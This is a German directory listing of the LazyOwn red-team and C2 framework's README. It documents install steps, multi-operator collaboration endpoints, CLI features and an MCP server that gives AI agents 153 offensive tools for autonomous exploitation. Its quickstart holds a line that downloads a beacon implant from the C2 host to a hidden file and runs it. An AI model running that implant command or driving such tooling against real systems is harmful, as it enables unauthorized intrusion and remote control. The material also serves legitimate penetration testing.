Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
LazyOwn — Red-Team-Framework und Multi-Operator-C2-Plattform mit KI-Agenten, malleable Implants, Rootkits, Phishing-Engine und 741 CLI-Befehlen, die die gesamte Attack Kill Chain abdecken. | Kitploit
Tools/GitHubGitHub/grisuno/lazyown
Penetrationstest-FrameworksSchwachstellenscannerExploit-FrameworksPost-ExploitationPhishingPenetrationstestsCommand and ControlRed TeamingPayload-EntwicklungRemote-Access-TrojanerKI-Sicherheit
2284513vor 22h 1mVon Kitploit geprüft
GitHubgrisuno/lazyown

LazyOwn

Red-Team-Framework und Multi-Operator-C2-Plattform mit KI-Agenten, malleable Implants, Rootkits, Phishing-Engine und 741 CLI-Befehlen, die die gesamte Attack Kill Chain abdecken.

Repository anzeigenWebseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

LazyOwn — RedTeam-Framework mit KI-Agenten, Linux-BOF-Beacon, YARA+Nuclei-Marktplatz

LazyOwn_Redteam_framework

stars release docker ci License: GPL v3 Ask DeepWiki

741 CLI-Befehle. Multi-Operator-C2. 153 MCP-Tools für KI-Agenten. Das einzige OSS-C2 mit Linux-BOF-Unterstützung + integrierten YARA/Nuclei-Marktplätzen.

In 60 Sekunden testen (ohne Installation)Golden Path (bei jedem Engagement)Auto-Pwn mit einem Befehl
docker run -it ghcr.io/grisuno/lazyown:latestping > lazynmap > auto_populate > facts_show > recommend_nextengage 10.10.11.5

golden path demo C2 collab demo MCP AI demo

Weitere Demos

Die ersten 7 BefehleRecon-Schleife
first stepsrecon loop
C2 über die CLIBefehle an Beacons senden
C2 CLIissue to C2

Vollständige Anleitung: QUICKSTART.md (5 Min.) · 80/20-Leitfaden: ESSENTIALS.md · HTB End-to-End: docs/examples/htb-lame-walkthrough.md · Ehrlicher Vergleich: COMPARISON.md

Warum LazyOwn vs. Sliver / Havoc / Mythic / Caldera / Metasploit

FähigkeitLazyOwnSliverHavocMythicCalderaMetasploit
Linux-BOF-Unterstützungjaneinneinneinneinnein
YARA- + Nuclei-Marktplatz integriertjaneinneinneinneinnein
MCP-Server für KI-Agenten (153 Tools)janeinneinneinneinnein
LLM-Operator + Multi-Agent-Hivejaneinneinneinneinnein
Multi-Operator-C2 + Phishing-Enginejateilweiseteilweiseteilweiseteilweiseteilweise

Vollständige Tabelle: COMPARISON.md. Fehler gefunden? Öffne ein Issue, wir beheben es.```sh ██▓ ▄▄▄ ▒███████▒▓██ ██▓ ▒█████ █ █░███▄ █ ▓██▒ ▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒▒██▒ ██▒▓█░ █ ░█░██ ▀█ █ ▒██░ ▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░▒██░ ██▒▒█░ █ ░█▓██ ▀█ ██▒ ▒██░ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░▒██ ██░░█░ █ ░█▓██▒ ▐▌██▒ ░██████▒▓█ ▓██▒▒███████▒ ░ ██▒▓░░ ████▓▒░░░██▒██▓▒██░ ▓██░ ░ ▒░▓ ░▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ░ ░ ▒ ░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░

root@kitploit:~
[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y2Z73AV)


LazyOwn comes with ABSOLUTELY NO WARRANTY. This is free software, and you are  welcome to redistribute it under the terms of the GNU General Public License v3.
See the LICENSE file for details about using this software.

 # LazyOwn RedTeam Framework v0.2.161

LazyOwn ist ein professionelles Red-Team-Framework und eine Command-&-Control-(C2)-Plattform, entwickelt für Penetrationstester, Red Teams und Sicherheitsforscher. Es bietet 741 CLI-Befehle, 126 Aliase, 153 MCP-Tools für KI-Agenten, ein Multi-Operator-Web-C2-Dashboard und 137 YAML/Lua-Plugin-Integrationen, die die gesamte Kill Chain über Linux, Windows, macOS und BSD abdecken.

**Neu in v0.2.161:** integrierter Marktplatz mit YARA-Regeln + Nuclei-Templates, `auto_pwn` autonome Ausnutzung, `hunt`-Befehl für bedrohungsinformierte Aufklärung, Post-Command-Tipps-Engine, automatische Verschlüsselung von Sitzungsdaten, gamifizierte ELO/Badges und 7 neue APT-Playbooks.

## Schnellstart in drei Befehlen

Neu hier? Dies ist der gesamte Einstieg. Vollständige Anleitung: [`QUICKSTART.md`](https://github.com/grisuno/lazyown/blob/main/QUICKSTART.md).```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh        # virtualenv + pinned dependencies + C2 certificates
./run                  # launches the shell; first run offers the setup wizard

Die Standardinstallation ist schlank; füge --with-ml für den schweren torch/CUDA-Stack hinzu, --with-ollama für die lokale LLM-Laufzeit, --with-tools für die gängigen externen Binärdateien. Abhängigkeiten sind in requirements.txt (plattformübergreifender Kern) und requirements-ml.txt (optionales ML) festgeschrieben; pyproject.toml ist die einzige Quelle der Wahrheit.

Docker

Für isolierte, reproduzierbare Engagements siehe lazyown-docker/README.md.```bash cd lazyown-docker ./mkdocker.sh build ./mkdocker.sh run --vpn 1

root@kitploit:~
Dann, innerhalb der `(LazyOwn) >` Shell:```text
doctor          # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard          # guided config (auto-detects lhost, walks 8 steps incl. LLM provider)
ping            # confirm the target is up and detect its OS
lazynmap        # full port + service scan

Wenn doctor einen blockierenden Fehler (rot) meldet, behebe ihn, bevor du fortfährst — es wird dir der exakte pip install / apt install-Befehl für alles Fehlende angezeigt. Warnungen (gelb) sind optionale Funktionen, die du vorerst ignorieren kannst.

Kernarchitektur

LazyOwn basiert auf einer modularen, befehlsgesteuerten Architektur, die Flexibilität und Erweiterbarkeit für Sicherheitstest-Workflows bietet.

diagrama_lazyown

LazyOwn integriert eine Kommandozeilenschnittstelle (CLI) auf Basis von cmd2 und eine webbasierte GUI auf Basis von Flask. Parameter sind auf payload.json beschränkt, was eine konsistente Konfiguration über alle Tools hinweg ermöglicht. Das Framework unterstützt Adversary-Simulation, Aufgabenplanung über den cron-Befehl und persistente automatisierte Bedrohungssimulations-Workflows.

image

image

Siehe CONTRIBUTING.md für Details.

LazyOwn Skills — MCP-Integration

Verbinde Claude Code über das Model Context Protocol (MCP) mit dem LazyOwn-Framework. Der MCP-Server stellt 153 Tools bereit, die den gesamten Engagement-Lebenszyklus abdecken.

Dateien

DateiZweck
skills/lazyown_mcp.pyMCP-Server — stellt Claude 153 LazyOwn-Tools bereit
skills/lazyown.mdClaude Code Skill / Slash-Command-Dokumentation
skills/autonomous_daemon.pyAutonomer Ausführungsdaemon (zielgesteuert, kein Claude zwischen den Schritten erforderlich)
skills/hive_mind.pyMulti-Agenten-Königin-+-Drohnen-System mit ChromaDB-Speicher
skills/lazyown_policy.pyBelohnungsbasierte Policy-Engine für die auto_loop
skills/lazyown_facts.pyStrukturierte Faktenextraktion aus nmap XML und Tool-Ausgabe
skills/lazyown_parquet_db.pyParquet-Wissensdatenbank: Sitzungsverlauf, GTFOBins, LOLBas, ATT&CK

Schnellstart (5 Minuten bis zur ersten Shell)

Vollständige Anleitung: QUICKSTART.md```bash

1. Clone and install (light by default; add --with-ml for the 2 GB torch/CUDA stack, --with-ollama for the local LLM)

git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn && bash install.sh

2. Launch, verify the install, then run the wizard

./run (LazyOwn) > doctor # preflight: Python, venv, packages, certs, SecLists, tools (LazyOwn) > wizard # auto-detects lhost, walks 8 config steps incl. LLM provider

Heavy optional dependencies (pycryptodome, python-libnmap, impacket, ...) are

imported lazily: a missing package degrades only its feature instead of

crashing the shell, and the dependent command raises a clear "pip install ..."

error when used. To audit them without launching the shell (works even if rich

or cmd2 are broken): python3 -m core.dependencies

3. Define your authorized scope, then recon

(LazyOwn) > scope add 10.10.11.0/24 && scope mode enforce (LazyOwn) > ping && lazynmap && auto_populate && facts_show

4. Start C2 (separate terminal)

bash fast_run_as_r00t.sh --no-attach --vpn 1

5. Get a shell — Linux BOF-capable beacon

(LazyOwn) > blacksandbeacon

Then on target: curl -sk "http://:/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &

6. Invite teammates (multi-operator)

(LazyOwn) > collab_join alice

Prints: https://:<c2_port>/collab/?operator=alice

root@kitploit:~
---

## Multi-Operator-Zusammenarbeit

Die Collab-Schicht von LazyOwn bietet Echtzeit-Teamserver-Funktionalität über
Server-Sent Events (SSE). Sie wird automatisch aktiviert, wenn `lazyc2.py` startet.

**Browser-Dashboard** — in jedem Browser im Team öffnen:```
https://<lhost>:<c2_port>/collab/?operator=<your_handle>

Terminal-SSE-Stream:```bash curl --insecure -N "https://:<c2_port>/collab/stream?operator=alice" | jq .

root@kitploit:~
**Einen Fund an alle Operatoren veröffentlichen**:```bash
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
  -H "Content-Type: application/json" \
  -d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'

Ziel sperren (verhindert, dass zwei Operatoren dasselbe Tool ausführen):```bash curl --insecure -sk -X POST https://:<c2_port>/collab/lock
-H "Content-Type: application/json"
-d '{"target":"10.10.11.5","operator":"alice","ttl_secs":300}'

root@kitploit:~
| Endpunkt | Methode | Beschreibung |
|---|---|---|
| `/collab/` | GET | Multi-Operator-Browser-Dashboard |
| `/collab/stream?operator=<name>` | GET (SSE) | Echtzeit-Ereignisstrom |
| `/collab/operators` | GET | Liste der aktiven Operatoren |
| `/collab/publish` | POST | Ein strukturiertes Ereignis senden |
| `/collab/lock` | POST | Beratende Ziel-Sperre erwerben |
| `/collab/unlock` | POST | Ziel-Sperre freigeben |
| `/collab/locks` | GET | Alle aktiven Sperren |
| `/collab/history?n=100` | GET | Letzte N Ereignisse |

Von der CLI aus: `collab_join <handle>` gibt alle URLs für einen gegebenen Operator aus.

---

## MCP-Schnellstart

LazyOwn stellt sein vollständiges Framework über das Model Context Protocol (MCP) bereit. Derselbe Server funktioniert mit Claude Code, Claude Desktop, Hermes Agent und OpenCode — wählen Sie die Integration, die zu Ihrer Umgebung passt.

### Claude Code```bash
bash scripts/setup_hermes_mcp.sh

Oder kopieren Sie .mcp.example.json nach .mcp.json und setzen Sie LAZYOWN_DIR auf den absoluten Pfad dieses Checkouts:```json { "mcpServers": { "lazyown": { "command": "python3", "args": ["${LAZYOWN_DIR}/skills/lazyown_mcp.py"], "env": { "LAZYOWN_DIR": "${LAZYOWN_DIR}" } } } }

root@kitploit:~
Installiere den Slash-Befehl (optional):```bash
cp skills/lazyown.md ~/.claude/commands/lazyown.md

Nach dem Neustart von Claude Code sind alle lazyown_*-Tools verfügbar.

Hermes Agent

LazyOwn ist Hermes-nativ. Die Integrationsschicht skills/hermes-lazyown/ bietet eine kompakte, namensraumierte Tool-Oberfläche, die für Hermes-Kontextfenster optimiert ist, mit Checkpoint-Wiederaufnahme, dynamischer Regelgenerierung und nativer Delegationsplanung.

Registrieren in ~/.hermes/config.yaml:```yaml mcp_servers: hermes-lazyown: command: python3 args: ["${LAZYOWN_DIR}/skills/hermes-lazyown/mcp_server.py"] env: LAZYOWN_DIR: "${LAZYOWN_DIR}"

root@kitploit:~
Dann lade die MCP-Tools in Hermes mit `/reload-mcp` neu.

Siehe `skills/hermes-lazyown/README.md` für die vollständige Hermes-Integrationsanleitung.

### OpenCode

LazyOwn ist OpenCode-freundlich über den **LazyOwnOpenCodeAdapter**:```bash
git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build

Der Adapter bindet den MCP-Server von LazyOwn in die OpenCode-CLI ein und stellt dieselbe lazyown_*-Tool-Oberfläche mit OpenCode-nativen Prompts und Workflows bereit.

Vollständige Einrichtung: https://github.com/grisuno/LazyOwnOpenCodeAdapter

Umgebungsvariablen

VariableStandardBeschreibung
LAZYOWN_DIRübergeordnetes Verzeichnis von skills/LazyOwn-Stammverzeichnis
LAZYOWN_C2_HOSTpayload.json lhostC2-Server-Adresse
LAZYOWN_C2_PORTpayload.json c2_portC2-Server-Port
LAZYOWN_C2_USERpayload.json c2_userC2-Benutzername
LAZYOWN_C2_PASSpayload.json c2_passC2-Passwort

MCP-Tool-Gruppen (153 Tools)

GruppeToolsBeschreibung
Core Execution7run_command (jetzt mit dry_run + confirm), get/set_config, list_modules, discover_commands, command_help, palette
Audit & Context6target_context, tasks_cleanup, evidence_grep, session_diff, run_command_async, job_status
Target Management3add_target, list_targets, set_active_target
C2 / Implant Control10c2_command, c2_status, get_beacons, run_api, c2_profile, c2_vuln_analysis, c2_redop, c2_search_agent, c2_script, c2_adversary
Session Awareness4session_status, session_state, list_sessions, read_session_file
Autonomous Loop3auto_loop, policy_status, recommend_next
ACI — Autonomous Campaign Intelligence3aci_plan, aci_status, aci_replan
Reactive Intelligence2reactive_suggest, bridge_suggest
Objectives & Planning4inject_objective, next_objective, soul, read_prompt
Knowledge Bases9parquet_query/annotate, facts_show, cve_search, searchsploit, rag_index/query, threat_model
Memory & Learning3memory_recall/store, eval_quality
Campaign & Reporting7campaign, campaign_tasks, generate_report, misp_export, collab_publish, timeline
Playbooks2playbook_generate, playbook_run
Addons, Tools & Plugins3list_addons/plugins, create_addon/tool
Scheduling2cron_schedule, daemon
AI Agents5run_agent, agent_status/result, list_agents, llm_ask
Event Engine4poll_events, ack_event, add_rule, heartbeat_status
SWAN MoE+RL4swan_run, swan_ensemble, swan_status, swan_route

Vollständige Dokumentation: skills/README.md und skills/lazyown.md.

Audit-Modus-MCP-Verbesserungen

Hinzugefügt in skills/lazyown_mcp_helpers.py, um autonome Audits effizienter und weniger fehleranfällig zu machen. Die Logik liegt in einem Pure-Function-Modul, damit sie isoliert unit-testbar ist (tests/test_mcp_improvements.py).

Tool / ParameterWas es tutWarum es wichtig ist
lazyown_session_init(format='json', include_recommend=true)Gibt den SITREP als strukturiertes Dict statt als Banner zurück; bettet optional die Top-3 der ranghöchsten empfohlenen Aktionen ein.Spart ~5KB dekorierten Text pro Aufruf; Agents können filtern, bevor sie konsumieren.
lazyown_campaign_sitrep(format='json')Dieselbe JSON-Option für den Master-Shift-Report.Konsistentes Format über beide Situationstools hinweg.
lazyown_target_context(host, port=N)Aggregiert offene Ports, World-Model-Credentials (mit Provenienz + Konfidenz), Schwachstellen, Aktualität der pwntomate-Evidenz und Aktualität von nmap für ein (host, port)-Tupel.Ersetzt 4-5 separate Lookups bei der Entscheidung über die nächste Aktion auf einem Target.
lazyown_tasks_cleanup(dry_run=true, min_confidence=0.5)Prüft sessions/tasks.json und markiert Einträge, bei denen das eingebettete Credential tatsächlich ein Zeitstempel / URL / IP / Duplikat ist. Übergib dry_run=false, um die Datei neu zu schreiben (zuvor wird eine .bak geschrieben).Der Watcher verwandelt häufig Log-Zeitstempel in "Credentials"; in einer echten Kampagne entfernt dies 100+ Rausch-Tasks.
`lazyown_evidence_grep(pattern, scope='alllootnmap
lazyown_run_command(command, dry_run=true)Pre-Flight: gibt Basisbefehl, Binärpfad, OS-required vs. OS-current, würde-duplizieren-Artefakte, fehlende Payload-Schlüssel zurück — ohne Ausführung.Verhindert versehentliche Wiederholungsläufe von 30-Minuten-Scans; markiert Windows-only-Tools gegen ein Linux-Target vor dem Start.
lazyown_run_command_async(command, timeout) + lazyown_job_status(job_id)Background-Job-Muster für lange Befehle (lazynmap, pwntomate, auto_loop). Gibt sofort eine job_id zurück.Befreit den Agent vom Blockieren bei Befehlen, die als ≥30 Min dokumentiert sind.
lazyown_session_diff(take=true)Meldet hinzugefügte / geänderte / entfernte Dateien in sessions/ sowie neue Credentials / Task-IDs seit dem letzten Snapshot.Macht Schichtübergaben explizit; funktioniert gut als erster Aufruf jeder neuen Session.
Bestätigungs-Gate (confirm=true)

Audit-Modus-CLI-Erweiterungen

Eine SOLID-Erweiterungsschicht in cli/cli_enhancements.py dockt über die bestehende CommandSet-Auto-Discovery (cli/commands/audit.py) an die cmd2-Shell an. Es waren keine Änderungen am 27k-Zeilen-Kern lazyown.py erforderlich, abgesehen von zwei kleinen Hooks (Lazy-Alias-Laden, completedefault-Fallback).

Befehl / HookWas es tutGestützt durch
fz [query]Fuzzy-Befehlssuche über jedes do_*, Alias, Plugin und Addon. Bewertet exakt > Präfix > Teilstring > Sequenzähnlichkeit.FuzzyCommandIndex
form <command>Führt den Operator durch ein interaktives Parameterformular für Befehle mit vielen Flags (derzeit phishing, venom, evil). Validiert Pflichtfelder und options-Enums; fällt bei nicht-interaktiver IO auf Standardwerte zurück.InteractiveForm, FormSpec
status_tail [target]Parst die neueste sessions/scan_<target>.partial/.nmap und gibt offene Ports, Prozent abgeschlossen und letzte Zeile aus, damit der Operator einen langen Scan überwachen kann, ohne die Shell zu verlassen.LiveStatusTail
grep_log <pattern> [--cmd <name>]Regex-Suche über das aktuelle Transkript ausgeführter Befehle und deren Ausgaben. Persistiert über Neustarts hinweg (sessions/_cli_transcript.jsonl).TranscriptStore
reload_addonsFragt lazyaddons/ und plugins/ ab und registriert alles neu, was sich seit dem letzten Sweep geändert hat, ohne die Shell neu zu starten.AddonHotReloader
audit_complete_keys <command> [partial]Zeigt an, was der payload-bewusste Completer für einen gegebenen Befehl vorschlagen würde. Nützlich zur Überprüfung des Vervollständigungsverhaltens.PayloadAwareCompleter
completedefault (Tab)Der Cmd2-Hook fällt jetzt auf einen payload-bewussten Completer durch, der Payload-Schlüssel für set/assign, IP-Werte für target, Wordlist-Schlüssel für gobuster/ffuf, Addon-Namen für run, Plugin-Namen für plugin und erfasste Credentials für evil/cme/ vorschlägt.

Die Primitive sind framework-agnostisch und hängen von kleinen typing.Protocol- Schnittstellen (PayloadProvider, CommandLister, TerminalIO) ab, sodass sie isoliert unit-testbar sind. Siehe tests/test_cli_enhancements.py (36 Tests).

Fuzzy-Dropdown-Autovervollständigung

Die cmd2-Shell installiert einen curses-getriebenen Fuzzy-Picker auf GNU readline (cli/fuzzy_picker.py). Bei einem einzelnen Tab-Druck, wenn zwei oder mehr Vervollständigungen verfügbar sind, öffnet der Picker ein umrandetes Dropdown, das am unteren Rand des Terminals verankert ist und jeden Treffer zusammen mit seiner Beschreibung anzeigt. Der Scorer bevorzugt exakte, Präfix- und Teilsequenz-Treffer gegenüber Teilstring und Ähnlichkeit (dieselbe Rangfolge, die der eigenständige fz-Befehl verwendet), und die übereinstimmenden Zeichen der Abfrage werden in jeder Zeile hervorgehoben, damit der Operator sehen kann, warum ein Kandidat in der Liste steht.

Navigation: ↑ / ↓ zum Bewegen, Page Up / Page Down zum Springen, Home / End zum Suchen, Backspace zum Bearbeiten der Abfrage an Ort und Stelle, Tab oder Enter zum Einfügen des hervorgehobenen Befehls in den Prompt, Esc oder Ctrl-C zum Abbrechen. Wenn nur ein Kandidat übereinstimmt, bleibt das normale Auto-Einfügeverhalten von readline erhalten, sodass der Picker einen schnellen Operator nie behindert. Geometrie, Farben und Glyphen werden von PickerConfig gesteuert, und ein optionaler fuzzy_picker-Block in payload.json kann jedes seiner Felder überschreiben (z. B. "max_visible_rows": 8), ohne Code anzufassen.

Konfigurierbarer Neon-Box-Prompt — config_banner

Die cmd2-Shell rendert einen dreizeiligen Neon-Box-Prompt, der aus einem kanonischen Satz von Segmenten zusammengesetzt ist (user_host, iface, lhost, rhost, domain, public_ip, cwd, git, venv, time, kernel, version, battery_load). Der Renderer ist in cli/banner_config.py als kleiner SOLID-Stack implementiert: ein SegmentRenderer pro Informationseinheit, eine SegmentRegistry, ein BannerSettings-Value-Object und ein BannerRenderer, der ANSI-farbige Ausgabe erzeugt. Öffentliche IP, Kernel-Release und die LazyOwn-Version sind TTL-gecacht, sodass der Prompt nach dem ersten Rendern im Sub-Millisekunden-Bereich bleibt.

Der Shell-Befehl config_banner öffnet einen Powerlevel10k-artigen curses-Assistenten mit drei Tabs — Segments, Colors, Glyphs — und einer Live-Vorschau des resultierenden Prompts, die am unteren Rand des Panels verankert ist. Tab / Shift+Tab wechseln die Tabs; ↑ / ↓ bewegen sich innerhalb des aktiven Tabs; Enter speichert in payload.json unter dem banner-Block; Escape bricht ab. Tastenzuordnungen pro Tab:

TabAktionstasten
SegmentsSpace schaltet ein Segment ein/aus; a aktiviert jedes Segment; n deaktiviert jedes Segment; d stellt die Werkseinstellungen wieder her.
ColorsSpace / → wechselt zur nächsten benannten Farbe (bright_green, bright_cyan, bright_magenta, …); ← wechselt zurück; d stellt die Standardfarbe dieses Segments wieder her.
GlyphsSpace / → wechselt zum nächsten Zeichen für den fokussierten Slot (top_left, vertical, bullet_primary, arrow, prompt_char_user, …); ← wechselt zurück; d stellt das Standard-Glyph dieses Slots wieder her.

Der Shell-Prompt wird unmittelbar nach dem Speichern aktualisiert — kein Neustart erforderlich. Operatoren ohne TTY (CI, Skripte) können das System weiterhin mit config_banner show und config_banner reset steuern oder die Payload manuell bearbeiten:```json "banner": { "enabled": ["user_host", "iface", "rhost", "domain", "cwd", "git", "venv", "time"], "colors": {"user_host": "bright_green", "rhost": "bright_red", "domain": "bright_yellow"}, "glyphs": {"top_left": "┌", "bottom_left": "└", "horizontal": "─", "vertical": "│", "bullet_primary": "❯", "arrow": "→"} }

root@kitploit:~
Farbnamen werden gegen `ColorRegistry` und Glyph-Zeichen gegen `GlyphRegistry` validiert; alles Unbekannte fällt stillschweigend auf den Factory-Standard zurück, sodass eine fehlerhafte Payload niemals den Prompt bricht.

### Graph-bewusste Navigation — Operator- + Agent-UX aus graphify

`cli/graph_advisor.py` lädt den Knowledge Graph, der von
[`/graphify`](https://graphify.dev) über den LazyOwn-Quellbaum erzeugt wurde
(`graphify-out/graph_lazyown.json` — ~1500 Knoten, ~2900 Kanten, 14
Communities) und stellt ihn sowohl der cmd2-Shell als auch dem MCP-Server zur
Verfügung. Der Advisor ist ein Single-File-SOLID-Stack — `GraphLoader` (mtime-gecachte Datei-IO), `GraphIndex` (In-Memory-Adjazenz-/Degree-/Community-Indizes),
`GraphScorer` (reines Ranking-Primitiv), `GraphAdvisor` (Orchestrator) —
wobei jede Konstante im `GraphAdvisorConfig`-Dataclass gehalten wird.

**Operator-Befehle (cmd2-Shell)**

| Befehl | Zweck |
|---------|---------|
| `graph_search <query> [limit]` | Fuzzy-Suche nach Knoten anhand von Label, ID oder Quelldatei. |
| `neighbors <node> [depth] [limit]` | Durchläuft den Graphen ausgehend von einem Knoten mit Kantenrelation / Konfidenz. |
| `god_nodes [N]` | Zeigt die am stärksten vernetzten Knoten — die Kernabstraktionen des Frameworks. |
| `suggest_next [seeds…] [N]` | Empfiehlt die nächsten Befehle durch Durchlaufen ausgehend von der letzten Aktivität. Ohne Seeds liest es `sessions/LazyOwn_session_report.csv` und verwendet diese als Seeds. |

Der `default()`-Hook der Shell leitet nun unbekannte `do_*`-Befehle durch
denselben Advisor + den bestehenden `FuzzyCommandIndex`, sodass ein Operator,
der `ddo_lazynmap` eingibt, sofort *"Did you mean: do_lazynmap, do_lazynmap_quick, …?"*
sieht, bevor der Toast erscheint.

**MCP-Tools (Claude Code, Claude web, jeder MCP-Agent)**

| Tool | Zweck |
|------|---------|
| `lazyown_graph_summary` | Knoten- / Kanten- / Community-Anzahlen und der aufgelöste Graph-Pfad. |
| `lazyown_graph_search` | Fuzzy-Knotensuche mit einer `budget_tokens`-Obergrenze, damit die JSON-Antwort niemals das Kontextfenster des Agenten sprengt. |
| `lazyown_graph_neighbors` | Geschichteter Adjazenz-Durchlauf mit Kantenrelation und Konfidenz — die kanonische "Wovon hängt X ab?"-Abfrage. |
| `lazyown_graph_suggest_next` | Empfehlung für den nächsten Schritt; nimmt eine explizite `recent`-Liste oder liest das Sitzungsprotokoll. |

Jedes MCP-Graph-Tool kürzt Listenfelder in-place, um in `budget_tokens`
(Standard 1500) zu passen. Wenn der Graph fehlt, gibt jedes Tool
`{"available": false, "reason": "..."}` zurück, anstatt abzustürzen — dem Operator
wird gesagt, er solle einmal `/graphify .` ausführen, und alles funktioniert.

Der Advisor cached nach `(path, mtime)`, sodass ein frischer `/graphify`-Rebuild
automatisch beim nächsten CLI-Befehl oder MCP-Aufruf übernommen wird, ohne
die Shell oder den MCP-Server neu zu starten. Siehe
`tests/test_graph_advisor.py` für die 20 Unit-Tests, die Loader,
Index, Scorer und die vollständige Advisor-API abdecken.

### Inline-Reactive-Hints — nicht-blockierende Vorschläge für den nächsten Schritt

`cli/reactive_hints.py` hängt sich über `register_postcmd_hook` in die
Post-Command-Pipeline von cmd2 ein und gibt eine einzelne gedimmte Zeile unter
jeder Befehlsausgabe aus, bevor der nächste Prompt erscheint:```
  ↳ do_gobuster · do_enum4linux · do_ffuf

Der Vorschlag stammt aus dem graphify-Wissensgraphen (derselbe GraphAdvisor, der von suggest_next verwendet wird), ist also strukturell fundiert — keine generische Liste. Der Hook ist vollständig nicht-blockierend: Er kehrt zurück, bevor cmd2 die Eingabeaufforderung rendert, sodass der Operator sofort mit der Eingabe des nächsten Befehls beginnen kann.

Steuerung

AktionVorgehensweise
Hinweise für die Sitzung deaktivierenset enable_inline_hints false
Wieder aktivierenset enable_inline_hints true
Dauerhaft beibehaltenset enable_inline_hints false und dann save

Befehle auf der Skip-Liste (help, ?, exit, set, show, palette, dashboard, suggest_next, graph_search, neighbors, god_nodes) erzeugen niemals eine Hinweiszeile — es sind Meta-Befehle, bei denen ein Vorschlag nur Rauschen hinzufügt.

Wenn der graphify-Graph fehlt, kehrt der Hook still zurück. Führen Sie einmal /graphify . aus, um den Graphen zu erstellen, und Hinweise erscheinen bereits beim nächsten Befehl.

Operator-TUI-Dashboard — dashboard

cli/dashboard_tui.py ist ein bildschirmfüllendes Textual-Dashboard, das von der Shell aus gestartet wird mit:``` dashboard

root@kitploit:~
Es blockiert die Shell, solange es geöffnet ist (wie `htop` oder `lazygit`). Drücke **Q** oder
Ctrl-C, um es zu schließen und zur cmd2-Eingabeaufforderung zurückzukehren.

**Layout**```
┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5  ATTACKER 10.10.14.5  DOMAIN target.htb  PHASE RECON  OS  │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│  Kill Chain         │  Recent Commands                │  Ops                │
│  ✔ Recon            │  ● lazynmap        2026-05-11   │  Objective:         │
│  ▶ Enum             │  ● ping            2026-05-11   │  Initial Access     │
│  ○ Exploit          │  ● gobuster        2026-05-11   │                     │
│  ○ PrivEsc          │                                 │  Credentials: 0     │
│  ○ Lateral          │                                 │  Hashes: 0          │
│  ○ Exfil            │  Config                         │  Beacons: 0         │
│  ○ Report           │  Target: 10.10.11.5             │                     │
│                     │  C2 Port: 4444                  │                     │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│  ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto                   │
└──────────────────────────────────── [Q] Quit  [R] Refresh  [?] Help ────────┘

Datenquellen (automatisch alle 5 Sekunden aktualisiert)

PanelQuelle
Ziel / Phase / OSpayload.json, sessions/world_model.json
Kill-Chain-Fortschrittsessions/world_model.json → completed_phases
Letzte Befehlesessions/LazyOwn_session_report.csv
Zielsetzungsessions/world_model.json, sessions/tasks.json
Anmeldedaten / Hashessessions/credentials*.txt, sessions/hash*.txt
Beaconssessions/beacons.json
Graph-Hinweisegraphify-out/graph_lazyown.json

Erfordert pip install textual (hinzugefügt zu install.sh).

Befehlspalette und graphbasierte Erkundung

Das MCP-Tool lazyown_palette (auch erreichbar als CLI-Befehl palette und als Web-Ansicht /palette, mit einem globalen Ctrl+K / Cmd+K-Overlay auf jeder C2-Seite) ermöglicht es Agenten und Operatoren, die über 422 do_*-Befehle ohne Scrollen zu durchsuchen. Modi:

ModusBeispielBeschreibung
ÜbersichtpaletteBefehlsanzahl pro Phase.
Phasepalette reconJeder Befehl in einer Kill-Chain-Phase, mit einer einzeiligen Zusammenfassung.
Phase + Filterpalette enum nmapPhasenauflistung, eingegrenzt durch eine Freitextabfrage.
Suchepalette --search ldapUnscharfe Suche über Name und Zusammenfassung.
Detailpalette --info do_lazynmapVollständiger Eintrag plus graphify-abgeleitete calls- und related-Nachbarn (welche anderen Befehle sich Hilfsfunktionen mit diesem teilen).
Nächste Phasepalette --next reconEmpfohlene Befehle in der Phase, die in der Kill-Chain-Reihenfolge als Nächste folgt.

Die calls- / related-Listen der Detailansicht stammen aus graphify-out/graph_lazyown.json (neu generiert durch die graphify-Skill); wenn diese Datei fehlt, degradiert die Palette stillschweigend auf reine Phasendaten.


Telegram Hermes Bot

